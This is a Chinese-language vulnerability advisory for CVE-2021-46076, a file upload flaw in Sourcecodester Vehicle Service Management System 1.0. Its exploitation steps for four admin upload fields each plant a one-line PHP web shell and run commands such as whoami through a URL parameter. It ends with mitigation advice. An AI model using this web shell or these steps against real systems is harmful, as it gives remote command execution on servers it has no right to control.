CVE-2021-46076
漏洞名称:车辆服务管理系统 - '多处'文件上传导致代码执行
CVE:CVE-2021-46076
CVSS:8.8 高危
参考链接:
描述:
Sourcecodester Vehicle Service Management System 1.0 存在文件上传漏洞。攻击者可以在多个端点上上传恶意 php 文件,从而导致代码执行。
1. 车辆服务管理系统 - '我的账户' (/admin/?page=user)
利用步骤:
- 登录管理面板 http://localhost/vehicle_service/admin
- 导航到“我的账户”部分 http://localhost/vehicle_service/admin/?page=user
Payload:
<?php system($_GET['cmd']);?>
- 将上述 php 代码保存为文件,例如:Cmd.php
- 在“我的账户”部分填写所有必要信息,并在头像处浏览选择 php 文件。
- 点击更新按钮。
- 在新标签页中打开头像图片。
- 在 URL 中添加 cmd 参数并执行命令。
- 最终 URL:http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- 执行所有系统命令,例如:id、whoami、pwd 等。
2. 车辆服务管理系统 - '用户列表' (/admin/?page=user/manage_user)
利用步骤:
- 登录管理面板 http://localhost/vehicle_service/admin
- 导航到“用户列表”部分并点击“创建新用户”按钮。
Payload:
<?php system($_GET['cmd']);?>
- 将上述 php 代码保存为文件,例如:Cmd.php
- 在“创建新用户”页面填写所有必要信息,并在头像处浏览选择 php 文件。
- 点击保存按钮。
- 在新标签页中打开头像图片。
- 在 URL 中添加 cmd 参数并执行命令。
- 最终 URL:http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- 执行所有系统命令,例如:id、whoami、pwd 等。
3. 车辆服务管理系统 - '设置-系统标志' (/admin/?page=system_info)
利用步骤:
- 登录管理面板 http://localhost/vehicle_service/admin
- 导航到“设置”部分 http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- 将上述 php 代码保存为文件,例如:Cmd.php
- 在“设置”部分填写所有必要信息,并在系统标志处浏览选择 php 文件。
- 点击更新按钮。
- 在新标签页中打开系统标志图片。
- 在 URL 中添加 cmd 参数并执行命令。
- 最终 URL:http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- 执行所有系统命令,例如:id、whoami、pwd 等。
4. 车辆服务管理系统 - '设置-网站封面' (/admin/?page=system_info)
利用步骤:
- 登录管理面板 http://localhost/vehicle_service/admin
- 导航到“设置”部分 http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- 将上述 php 代码保存为文件,例如:Cmd.php
- 在“设置”部分填写所有必要信息,并在网站封面处浏览选择 php 文件。
- 点击更新按钮。
- 在新标签页中打开网站封面图片。
- 在 URL 中添加 cmd 参数并执行命令。
- 最终 URL:http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- 执行所有系统命令,例如:id、whoami、pwd 等。
影响:
攻击者能够在多个端点上上传恶意 php 文件,从而导致代码执行。
缓解措施:
建议实施以下措施:
- 切勿直接接受文件名及其扩展名而不进行白名单过滤。
- 如果不需要 Unicode 字符,强烈建议仅接受字母数字字符和文件名及扩展名中的单个点号。
- 限制文件大小至最大值,以防止拒绝服务攻击。
- 上传目录不应具有任何“执行”权限。
- 不要仅依赖客户端验证。